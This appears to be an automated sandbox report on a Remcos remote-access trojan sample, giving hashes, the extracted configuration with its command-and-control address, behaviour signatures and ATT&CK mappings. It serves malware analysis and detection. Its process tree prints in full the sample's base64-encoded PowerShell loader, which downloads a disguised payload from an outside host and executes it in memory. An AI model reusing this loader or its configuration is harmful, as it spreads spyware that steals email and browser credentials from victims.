remcos | 580efebb5dd99c6da0404819e716cf3af6b09bdbb7ea6782fa88a9961e3f4345

Analysis

max time kernel
149s
max time network
147s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 07:33

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General

Target

nicebabygirlformehavve.tIF.vbs
Size

229KB
MD5

743038855d008d967e70de63d3b6067b
SHA1

5fe5dfe00823ea779c43a05cf4eca254bc6b448f
SHA256

580efebb5dd99c6da0404819e716cf3af6b09bdbb7ea6782fa88a9961e3f4345
SHA512

6045292c9df58756092971d7766831df5d84ef27c08c5e2966c506aa8b85707d98289203c8a10717272f7709f197f1ae518a1724abd42ac74fba510db42a211a
SSDEEP

3072:NcgVmI3b0mgfmWu+5e9VOv5iG5sVhQ30Wk+70wgA11:NcgV0e9VOvp

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

172.245.123.12:8690

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ET2B3I
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/824-47-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2636-43-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/2680-42-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/2680-42-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/2636-43-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2544	powershell.exe
6	2544	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2544 set thread context of 2920	2544	powershell.exe	33
PID 2920 set thread context of 2636	2920	CasPol.exe	34
PID 2920 set thread context of 2680	2920	CasPol.exe	35
PID 2920 set thread context of 824	2920	CasPol.exe	37

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2544	powershell.exe
2636	CasPol.exe
2636	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2920	CasPol.exe
2920	CasPol.exe
2920	CasPol.exe
2920	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	824	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2920	CasPol.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2544	2536	WScript.exe	31
PID 2536 wrote to memory of 2544	2536	WScript.exe	31
PID 2536 wrote to memory of 2544	2536	WScript.exe	31
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2544 wrote to memory of 2920	2544	powershell.exe	33
PID 2920 wrote to memory of 2636	2920	CasPol.exe	34
PID 2920 wrote to memory of 2636	2920	CasPol.exe	34
PID 2920 wrote to memory of 2636	2920	CasPol.exe	34
PID 2920 wrote to memory of 2636	2920	CasPol.exe	34
PID 2920 wrote to memory of 2636	2920	CasPol.exe	34
PID 2920 wrote to memory of 2680	2920	CasPol.exe	35
PID 2920 wrote to memory of 2680	2920	CasPol.exe	35
PID 2920 wrote to memory of 2680	2920	CasPol.exe	35
PID 2920 wrote to memory of 2680	2920	CasPol.exe	35
PID 2920 wrote to memory of 2680	2920	CasPol.exe	35
PID 2920 wrote to memory of 2156	2920	CasPol.exe	36
PID 2920 wrote to memory of 2156	2920	CasPol.exe	36
PID 2920 wrote to memory of 2156	2920	CasPol.exe	36
PID 2920 wrote to memory of 2156	2920	CasPol.exe	36
PID 2920 wrote to memory of 824	2920	CasPol.exe	37
PID 2920 wrote to memory of 824	2920	CasPol.exe	37
PID 2920 wrote to memory of 824	2920	CasPol.exe	37
PID 2920 wrote to memory of 824	2920	CasPol.exe	37
PID 2920 wrote to memory of 824	2920	CasPol.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nicebabygirlformehavve.tIF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA4ADgAMwAvADQAMgAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAzADcAMQAyADQAOQA4ADAAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AZABlAG4AZQBwAHAAYQBoAHMAZwBuAGkAaAB0AGUAcgBvAG0AaAB0AGkAdwBlAGcAYQByAGUAdgBvAGMAZQByAG8AbQAvADYANgA3AC8AMgAzADEALgA4ADcAMQAuADYANAAuADgAOQAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\eujswetlrlogbdlhscupw"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2636
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ooolwoenftgldjhlknhihvxg"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:2680
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zqudxhphtbyynpvptyukkakxozx"
      4⤵
      PID:2156
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zqudxhphtbyynpvptyukkakxozx"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
d6e89c6fcfcd858d9bab8d7ff3fdc7f9

SHA1
35f328d389ed6bb2a1ac73bd2de0e77e34ad1ed1

SHA256
1548e9845ac1d7f53b5d6122a529868ea3b3975660edd8c5cabd0c0d2019f39b

SHA512
c124ade3ad7ba2df57d9c1af0c79deecca82dd85a18c4c254acc9df8bf95696ce0f961deb545ee3e170a5be1f1ed9b8e627071faaa029b77d5ce57956f5bc192

Download Submit
C:\Users\Admin\AppData\Local\Temp\eujswetlrlogbdlhscupw

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/824-45-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/824-44-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/824-47-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/824-46-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2544-9-0x0000000002990000-0x00000000029A2000-memory.dmp

Filesize
72KB

Download
memory/2544-7-0x000007FEF6770000-0x000007FEF710D000-memory.dmp

Filesize
9.6MB

Download
memory/2544-28-0x000007FEF6770000-0x000007FEF710D000-memory.dmp

Filesize
9.6MB

Download
memory/2544-8-0x000007FEF6770000-0x000007FEF710D000-memory.dmp

Filesize
9.6MB

Download
memory/2544-10-0x0000000002850000-0x0000000002856000-memory.dmp

Filesize
24KB

Download
memory/2544-4-0x000007FEF6A2E000-0x000007FEF6A2F000-memory.dmp

Filesize
4KB

Download
memory/2544-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2544-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2636-40-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2636-43-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2636-37-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2680-42-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2680-41-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2680-39-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2920-18-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-22-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-31-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-32-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-35-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-29-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-27-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-24-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-20-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-15-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-23-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-16-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-17-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-30-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-19-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2920-13-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-54-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2920-57-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2920-58-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2920-59-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-63-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-64-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-11-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-71-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-72-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-79-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2920-80-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download